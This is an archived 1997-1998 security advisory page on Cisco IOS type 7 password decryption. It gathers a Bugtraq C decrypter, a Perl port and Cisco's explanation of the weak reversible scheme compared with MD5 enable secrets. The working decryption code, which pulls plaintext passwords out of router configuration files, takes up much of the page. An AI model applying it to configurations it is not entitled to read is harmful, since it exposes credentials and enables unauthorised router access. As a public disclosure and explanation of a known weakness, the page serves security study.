Cisco password decryption

Summary
Description:Cisco passwords can be trivially decrypted although this isn't really the fault of Cisco (since the router itself needs to be able to decrypt them).
Author:Jared Mauch <jared@puck.nether.net>
Compromise:Obtain extra access to Cisco routers
Vulnerable Systems:Cisco routers
Date:11 November 1997
Details


/* This code is originally from a Bugtraq post by 
   Jared Mauch <jared@puck.nether.net> . I patched it with an improved
   translation table by Janos Zsako <zsako@BANKNET.NET>
   -Fyodor (fyodor@nmap.org) */


#include <stdio.h>
#include <ctype.h>

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};

char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
        fprintf(stdout, "       %s <router config file> <output file>\n", pname);

        return(0);
}

main(argc,argv)
int argc;
char **argv;

{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
				bzero(passwd, sizeof(passwd));
                                if(cdecrypt(argv[2], passwd)) {
                                        fprintf(stderr, "Error.\n");
                                        exit(1);
                                }
                                fprintf(stdout, "password: %s\n", passwd);
                                break;

                                default:
                                fprintf(stderr, "%s: unknow option.", pname);
                        }

                        return(0);
                }

                if((in = fopen(argv[1], "rt")) == NULL)
                        exit(1);
                if(argc > 2)
                        if((out = fopen(argv[2], "wt")) == NULL)
                                exit(1);
        }

        while(1) {
                for(i = 0; i < 256; i++) {
                        if((line[i] = fgetc(in)) == EOF) {
                                if(i)
                                        break;

                                fclose(in);
                                fclose(out);
                                return(0);
                        }
                        if(line[i] == '\r')
                                i--;

                        if(line[i] == '\n')
                                break;
                }
                pw_pos = 0;
                line[i] = 0;

                if(!strncmp(line, pw_str1, strlen(pw_str1)))
                        pw_pos = strlen(pw_str1);

                if(!strncmp(line, pw_str2, strlen(pw_str2)))
                        pw_pos = strlen(pw_str2);
		if(!strncmp(line, pw_str3, strlen(pw_str3)))
			pw_pos = strlen(pw_str3);
		if(!strncmp(line, pw_str4, strlen(pw_str4)))
			pw_pos = strlen(pw_str4);

                if(!pw_pos) {
                        fprintf(stdout, "%s\n", line);
                        continue;
                }

		bzero(passwd, sizeof(passwd));
                if(cdecrypt(&line[pw_pos], passwd)) {
                        fprintf(stderr, "Error.\n");
                        exit(1);
                }
                else {
                        if(pw_pos == strlen(pw_str1))
                                fprintf(out, "%s", pw_str1);
                        else if (pw_pos == strlen(pw_str2))
                                fprintf(out, "%s", pw_str2);
			else if (pw_pos == strlen(pw_str3))
				fprintf(out, "%s", pw_str3);
			else if (pw_pos == strlen(pw_str4))
				fprintf(out, "%s", pw_str4);


                        fprintf(out, "%s\n", passwd);
                }
        }
}

Date: Mon, 12 Jan 1998 00:36:09 +0200
From: Riku Meskanen 
To: BUGTRAQ@NETSPACE.ORG
Subject: perl version of that tin opener (IOS decrypt.c)

Howdy,

Squeezed the decrypt.c[1] with perl a bit, just for seeing
better how simple that IOS type 7 encryption really is.

[1] http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199711/ciscocrack.c

:-) riku

#!/usr/bin/perl -w
# $Id: cisco.passwords.html 27902 2012-12-10 01:32:13Z fyodor $
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
        if (/(password|md5)\s+7\s+([\da-f]+)/io) {
            if (!(length($2) & 1)) {
                $ep = $2; $dp = "";
                ($s, $e) = ($2 =~ /^(..)(.+)/o);
                for ($i = 0; $i < length($e); $i+=2) {
                    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
                }
                s/7\s+$ep/$dp/;
            }
        }
        print;
}
# eof
--
    [ This .signature intentionally left blank ]


From jbash@cisco.com Sun Feb 15 05:18:16 1998
Date: Mon, 10 Nov 1997 16:39:36 -0800
From: John Bashinski 
To: BUGTRAQ@NETSPACE.ORG
Subject: Cisco IOS password encryption facts

-----BEGIN PGP SIGNED MESSAGE-----

A non-Cisco source has recently released a new program to decrypt user
passwords (and other passwords) in Cisco configuration files. The program
will not decrypt passwords set with the "enable secret" command.

The unexpected concern that this program has caused among Cisco customers
has led us to suspect that many customers are relying on Cisco password
encryption for more security than it was designed to provide. This document
explains the security model behind Cisco password encryption, and the
security limitations of that encryption.

User Passwords
- --------------
User passwords and most other passwords (*not* enable secrets) in Cisco IOS
configuration files are encrypted using a scheme that's very weak by modern
cryptographic standards.

Although Cisco does not distribute a decryption program, at least two
different decryption programs for Cisco IOS passwords are available to the
public on the Internet; the first public release of such a program of which
Cisco is aware was in early 1995. We would expect any amateur cryptographer
to be able to create a new program with no more than a few hours' work.

The scheme used by IOS for user passwords was never intended to resist a
determined, intelligent attack; it was designed to avoid casual
"over-the-shoulder" password theft. The threat model was someone reading a
password from an administrator's screen. The scheme was never supposed to
protect against someone conducting a determined analysis of the
configuration file.

Because of the weak encryption algorithm, it has always been Cisco's
position that customers should treat any configuration file containing
passwords as sensitive information, the same way they would treat a
cleartext list of passwords.

Enable Secret Passwords
- -----------------------
Enable secrets are hashed using the MD5 algorithm. As far as anyone at
Cisco knows, it is impossible to recover an enable secret based on the
contents of a configuration file (other than by obvious dictionary
attacks).

Note that this applies only to passwords set with "enable secret", *not*
to passwords set with "enable password". Indeed, the strength of the
encryption used is the only significant difference between the two
commands.

Other Passwords
- ---------------
Almost all passwords and other authentication strings in Cisco IOS
configuration files are encrypted using the weak, reversible scheme used
for user passwords. To determine which scheme has been used to encrypt a
specific password, check the digit preceding the encrypted string in the
configuration file. If that digit is a 7, the password has been encrypted
using the weak algorithm. If the digit is a 5, the password has been hashed
using the stronger MD5 algorithm.

For example, in the configuration command

    enable secret 5 $1$iUjJ$cDZ03KKGh7mHfX2RSbDqP.

The enable secret has been hashed with MD5, whereas in the command

    username jbash password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D

The password has been encrypted using the weak reversible algorithm.

Can the algorithm be changed?
- -----------------------------
Cisco has no immediate plans to support a stronger encryption algorithm for
IOS user passwords. Should Cisco decide to introduce such a feature in the
future, that feature will definitely impose an additional ongoing
administrative burden on users who choose to take advantage of it.

It is not, in the general case, possible to switch user passwords over to
the MD5-based algorithm used for enable secrets, because MD5 is a one-way
hash, and the password can't be recovered from the encrypted data at all.
In order to support certain authentication protocols (notably CHAP), the
system needs access to the clear text of user passwords, and therefore must
store them using a reversible algorithm.

Key management issues would make it a nontrivial task to switch over to a
stronger reversible algorithm, such as DES. Although it would be easy to
modify IOS to use DES to encrypt passwords, there would be no security
advantage in doing so if all IOS systems used the same DES key. If
different keys were used by different systems, an administrative burden
would be introduced for all IOS network administrators, and portability of
configuration files between systems would be damaged. Customer demand
for stronger reversible password encryption has been small.

November 10, 1997

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[totally obnoxious huge fucking PGP signature deleted --Fyodor]

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